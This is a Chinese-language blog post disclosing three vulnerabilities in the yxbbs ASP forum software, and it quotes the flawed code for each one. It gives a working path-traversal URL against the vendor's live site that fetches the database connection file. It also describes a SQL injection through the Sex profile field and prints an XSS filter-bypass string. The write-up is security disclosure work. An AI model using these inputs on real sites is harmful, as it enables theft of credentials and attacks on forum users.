来源:LiFediy's blog
作者:jannock

yxbbs 是一个较小的论坛系统,也算是一个较好的小论坛.
管方网站是: http://www.yimxu.com/bbs/Default.Asp
对其研究了一下,发现存在不小安全问题.
1、任意文件下载漏洞.

漏洞文件: ViewFile.asp

Function ChkFile(FileName)    
Dim Temp,FileType,F    
ChkFile=false    
FileType=Lcase(Split(FileName,".")(ubound(Split(FileName,"."))))    
Temp="|asp|aspx|cgi|php|cdx|cer|asa|"   
If Instr(Temp,"|"&FileType"|")>0 Then ChkFile=True   
F=Replace(Request("FileName"),".","")    
If instr(1,F,chr(39))>0 or instr(1,F,chr(34))>0 or instr(1,F,chr(59))>0 then ChkFile=True   
End Function   

在检查下载文件类型时只判断不是那几种类型就可以下载。
因此存在漏洞,我们可构造这样的下载
http://www.yimxu.com/bbs/ViewFile.asp?filename=../../inc/conn.asp%20
注意,后面加多个%20, 代表空格。

2、SQL注入漏洞
漏洞文件:Usersetup.Asp

SaveMyInfo()
注意到

Sex=YxBBs.Fun.GetStr("Sex")    
QQ=YxBBs.Fun.GetStr("QQ")    
 IsQQpic=YxBBs.Fun.GetStr("IsQQpic")    
 
 Public Function GetStr(Str)    
  Str = Trim(Request.Form(Str))    
  If IsEmpty(Str) Then   
   Str = ""   
  Else   
   Str = Replace(Str,"{","{")    
   Str = Replace(Str,"}","}")    
   Str = Replace(Str,"'","'")    
   Str = Replace(Str,"|","|")    
  End If   
  GetStr = Trim(Str)    
 End Function  

只过虑 ' { } | 等,但

YxBBs.execute("update [YX_User] set Birthday='"&Birthday"',Sex="&Sex",PicW="&PicW",   
PicH="&PicH",Mail='"&Mail"',QQ='"&QQ"',Honor='"&Honor"',Pic='"&PicUrl"',   
Home='"&Home"',Sign='"&Sign"',IsQQpic="&IsQQpic" where name='"&    
YxBBs.MyName"' And Password='"&YxBBs.MyPwd"'")   

Sex="&Sex&",

可以看到,Sex 可以构造成 1,SQL注入语句... 对于asscee 数据库影响不太,但SQL语句影响很大.

3、多处跨站漏洞
函数

 Public Function ubbg(str)    
  Dim re    
  Set re=new RegExp    
  re.IgnoreCase=true    
  re.Global=True   
  re.Pattern="((javascript:)|(<)|(>)|(height)|(width)|(jscript:)|(object)|(script)|(js:)|(vbscript:)|   
(vbs:)|(\.value)|(about:)|(file:)|(document.cookie)|(on(mouse|Exit|error|click|key|load)))"   
  str=re.Replace(str,"")    
  re.Pattern="(&#)"   
  str=re.Replace(str,"&#")    
  Set re=Nothing   
  ubbg=str    
 End Function   

因为过虑为空,所以可以这样构造

(javas(object)cript:)

过虑后就成了 javascript:

就说到这里.